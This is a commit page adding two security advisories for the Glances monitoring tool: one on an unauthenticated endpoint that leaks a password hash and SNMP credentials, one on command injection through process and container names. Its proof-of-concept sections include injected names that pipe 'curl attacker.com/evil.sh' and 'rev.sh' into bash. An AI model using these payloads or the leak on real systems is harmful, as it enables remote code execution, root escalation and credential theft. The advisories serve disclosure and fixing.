Skip to content

Commit 2d63f68

Browse files
1 parent f718eae commit 2d63f68

3 files changed

Lines changed: 203 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-cvwp-r2g2-j824",
4+
"modified": "2026-03-16T16:26:54Z",
5+
"published": "2026-03-16T16:26:54Z",
6+
"aliases": [
7+
"CVE-2026-32609"
8+
],
9+
"summary": "Glances has Incomplete Secrets Redaction: /api/v4/args Endpoint Leaks Password Hash and SNMP Credentials",
10+
"details": "## Summary\n\nThe GHSA-gh4x fix (commit 5d3de60) addressed unauthenticated configuration secrets exposure on the `/api/v4/config` endpoints by introducing `as_dict_secure()` redaction. However, the `/api/v4/args` and `/api/v4/args/{item}` endpoints were not addressed by this fix. These endpoints return the complete command-line arguments namespace via `vars(self.args)`, which includes the password hash (salt + pbkdf2_hmac), SNMP community strings, SNMP authentication keys, and the configuration file path. When Glances runs without `--password` (the default), these endpoints are accessible without any authentication.\n\n## Details\n\nThe secrets exposure fix (GHSA-gh4x, commit 5d3de60) modified three config-related endpoints to use `as_dict_secure()` when no password is configured:\n\n```python\n# glances/outputs/glances_restful_api.py:1168 (FIXED)\nargs_json = self.config.as_dict() if self.args.password else self.config.as_dict_secure()\n```\n\nHowever, the `_api_args` and `_api_args_item` endpoints were not part of this fix and still return all arguments without any sanitization:\n\n```python\n# glances/outputs/glances_restful_api.py:1222-1237\ndef _api_args(self):\n try:\n # Get the RAW value of the args dict\n # Use vars to convert namespace to dict\n args_json = vars(self.args)\n except Exception as e:\n raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get args ({str(e)})\")\n\n return GlancesJSONResponse(args_json)\n```\n\nAnd the item-specific endpoint:\n\n```python\n# glances/outputs/glances_restful_api.py:1239-1258\ndef _api_args_item(self, item: str):\n ...\n args_json = vars(self.args)[item]\n return GlancesJSONResponse(args_json)\n```\n\nThe `self.args` namespace contains sensitive fields set during initialization in `glances/main.py`:\n\n1. **`password`** (line 806-819): When `--password` is used, this contains the salt + pbkdf2_hmac hash. An attacker can use this for offline brute-force attacks.\n\n2. **`snmp_community`** (line 445): Default `\"public\"`, but may be set to a secret community string for SNMP monitoring.\n\n3. **`snmp_user`** (line 448): SNMP v3 username, default `\"private\"`.\n\n4. **`snmp_auth`** (line 450): SNMP v3 authentication key, default `\"password\"` but typically set to a secret value.\n\n5. **`conf_file`** (line 198): Path to the configuration file, reveals filesystem structure.\n\n6. **`username`** (line 430/800): The Glances authentication username.\n\nBoth endpoints are registered on the authenticated router (line 504-505):\n```python\nf'{base_path}/args': self._api_args,\nf'{base_path}/args/{{item}}': self._api_args_item,\n```\n\nWhen `--password` is not set (the default), the router has NO authentication dependency (line 479-480), making these endpoints completely unauthenticated:\n```python\nif self.args.password:\n router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n router = APIRouter(prefix=self.url_prefix)\n```\n\n## PoC\n\n**Scenario 1: No password configured (default deployment)**\n\n```bash\n# Start Glances in web server mode (default, no password)\nglances -w\n\n# Access all command line arguments without authentication\ncurl -s http://localhost:61208/api/4/args | python -m json.tool\n\n# Expected output includes sensitive fields:\n# \"password\": \"\",\n# \"snmp_community\": \"public\",\n# \"snmp_user\": \"private\",\n# \"snmp_auth\": \"password\",\n# \"username\": \"glances\",\n# \"conf_file\": \"/home/user/.config/glances/glances.conf\",\n\n# Access specific sensitive argument\ncurl -s http://localhost:61208/api/4/args/snmp_community\ncurl -s http://localhost:61208/api/4/args/snmp_auth\n```\n\n**Scenario 2: Password configured (authenticated deployment)**\n\n```bash\n# Start Glances with password authentication\nglances -w --password --username admin\n\n# Authenticate and access args (password hash exposed to authenticated users)\ncurl -s -u admin:mypassword http://localhost:61208/api/4/args/password\n# Returns the salt$pbkdf2_hmac hash which enables offline brute-force\n```\n\n## Impact\n\n- **Unauthenticated network reconnaissance:** When Glances runs without `--password` (the common default for internal/trusted networks), anyone who can reach the web server can enumerate SNMP credentials, usernames, file paths, and all runtime configuration.\n\n- **Offline password cracking:** When authentication is enabled, an authenticated user can retrieve the password hash (salt + pbkdf2_hmac) and perform offline brute-force attacks. The hash uses pbkdf2_hmac with SHA-256 and 100,000 iterations (see `glances/password.py:45`), which provides some protection but is still crackable with modern hardware.\n\n- **Lateral movement:** Exposed SNMP community strings and v3 authentication keys can be used to access other network devices monitored by the Glances instance.\n\n- **Supply chain for CORS attack:** Combined with the default CORS misconfiguration (finding 001), these secrets can be stolen cross-origin by a malicious website.\n\n## Recommended Fix\n\nApply the same redaction pattern used for the `/api/v4/config` endpoints:\n\n```python\n# glances/outputs/glances_restful_api.py\n\n_SENSITIVE_ARGS = frozenset({\n 'password', 'snmp_community', 'snmp_user', 'snmp_auth',\n 'conf_file', 'password_prompt', 'username_used',\n})\n\ndef _api_args(self):\n try:\n args_json = vars(self.args).copy()\n if not self.args.password:\n for key in _SENSITIVE_ARGS:\n if key in args_json:\n args_json[key] = \"********\"\n # Never expose the password hash, even to authenticated users\n if 'password' in args_json and args_json['password']:\n args_json['password'] = \"********\"\n except Exception as e:\n raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get args ({str(e)})\")\n return GlancesJSONResponse(args_json)\n\ndef _api_args_item(self, item: str):\n if item not in self.args:\n raise HTTPException(status.HTTP_400_BAD_REQUEST, f\"Unknown argument item {item}\")\n try:\n if item in _SENSITIVE_ARGS:\n if not self.args.password:\n return GlancesJSONResponse(\"********\")\n if item == 'password':\n return GlancesJSONResponse(\"********\")\n args_json = vars(self.args)[item]\n except Exception as e:\n raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get args item ({str(e)})\")\n return GlancesJSONResponse(args_json)\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "Glances"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.5.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-cvwp-r2g2-j824"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/nicolargo/glances/commit/ff14eb9780ee10ec018c754754b1c8c7bfb6c44f"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/nicolargo/glances"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-200"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-16T16:26:54Z",
63+
"nvd_published_at": null
64+
}
65+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-vcv2-q258-wrg7",
4+
"modified": "2026-03-16T16:26:22Z",
5+
"published": "2026-03-16T16:26:22Z",
6+
"aliases": [
7+
"CVE-2026-32608"
8+
],
9+
"summary": "Glances has a Command Injection via Process Names in Action Command Templates",
10+
"details": "## Summary\n\nThe Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.\n\n## Details\n\n**The action execution flow:**\n\n1. Admin configures an action in glances.conf (documented feature):\n\n```ini\n[cpu]\ncritical_action=echo \"High CPU on {{name}}\" | mail admin@example.com\n```\n\n2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):\n\n```python\nself.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)\n```\n\n3. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).\n\n4. In glances/actions.py:77-78, the Mustache library renders the template:\n\n```python\nif chevron_tag:\n cmd_full = chevron.render(cmd, mustache_dict)\n```\n\n5. The rendered command is passed to secure_popen() (glances/actions.py:84):\n\n```python\nret = secure_popen(cmd_full)\n```\n\n**The secure_popen vulnerability** (glances/secure.py:17-30):\n\n```python\ndef secure_popen(cmd):\n ret = \"\"\n for c in cmd.split(\"&&\"):\n ret += __secure_popen(c)\n return ret\n```\n\nAnd __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.\n\nAdditionally, the redirect handler at line 69-72 writes to arbitrary file paths:\n\n```python\nif stdout_redirect is not None:\n with open(stdout_redirect, \"w\") as stdout_redirect_file:\n stdout_redirect_file.write(ret)\n```\n\n## PoC\n\n**Scenario 1: Command injection via pipe in process name**\n\n```bash\n# 1. Admin configures processlist action in glances.conf:\n# [processlist]\n# critical_action=echo \"ALERT: {{name}} used {{cpu_percent}}% CPU\" >> /tmp/alerts.log\n\n# 2. Attacker creates a process with a crafted name containing a pipe:\ncp /bin/sleep \"/tmp/innocent|curl attacker.com/evil.sh|bash\"\n\"/tmp/innocent|curl attacker.com/evil.sh|bash\" 9999 &\n\n# 3. When the process triggers a critical alert, secure_popen splits by |:\n# Command 1: echo \"ALERT: innocent\n# Command 2: curl attacker.com/evil.sh <-- INJECTED\n# Command 3: bash used 99% CPU\" >> /tmp/alerts.log\n```\n\n**Scenario 2: Command chain via && in container name**\n\n```bash\n# 1. Admin configures containers action:\n# [containers]\n# critical_action=docker stats {{name}} --no-stream\n\n# 2. Attacker names a Docker container with && injection:\ndocker run --name \"web && curl attacker.com/rev.sh | bash && echo \" nginx\n\n# 3. secure_popen splits by &&:\n# Command 1: docker stats web\n# Command 2: curl attacker.com/rev.sh | bash <-- INJECTED\n# Command 3: echo --no-stream\n```\n\n## Impact\n\n- **Arbitrary command execution:** An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).\n\n- **Privilege escalation:** If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.\n\n- **Arbitrary file write:** The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.\n\n- **Preconditions:** Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.\n\n## Recommended Fix\n\nSanitize Mustache-rendered values before secure_popen processes them:\n\n```python\n# glances/actions.py\n\ndef _escape_for_secure_popen(value):\n \"\"\"Escape characters that secure_popen treats as operators.\"\"\"\n if not isinstance(value, str):\n return value\n value = value.replace(\"&&\", \" \")\n value = value.replace(\"|\", \" \")\n value = value.replace(\">\", \" \")\n return value\n\ndef run(self, stat_name, criticality, commands, repeat, mustache_dict=None):\n for cmd in commands:\n if chevron_tag:\n if mustache_dict:\n safe_dict = {\n k: _escape_for_secure_popen(v) if isinstance(v, str) else v\n for k, v in mustache_dict.items()\n }\n else:\n safe_dict = mustache_dict\n cmd_full = chevron.render(cmd, safe_dict)\n else:\n cmd_full = cmd\n ...\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "Glances"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.5.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vcv2-q258-wrg7"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/nicolargo/glances"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-78"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-16T16:26:22Z",
63+
"nvd_published_at": null
64+
}
65+
}

0 commit comments

Comments
 (0)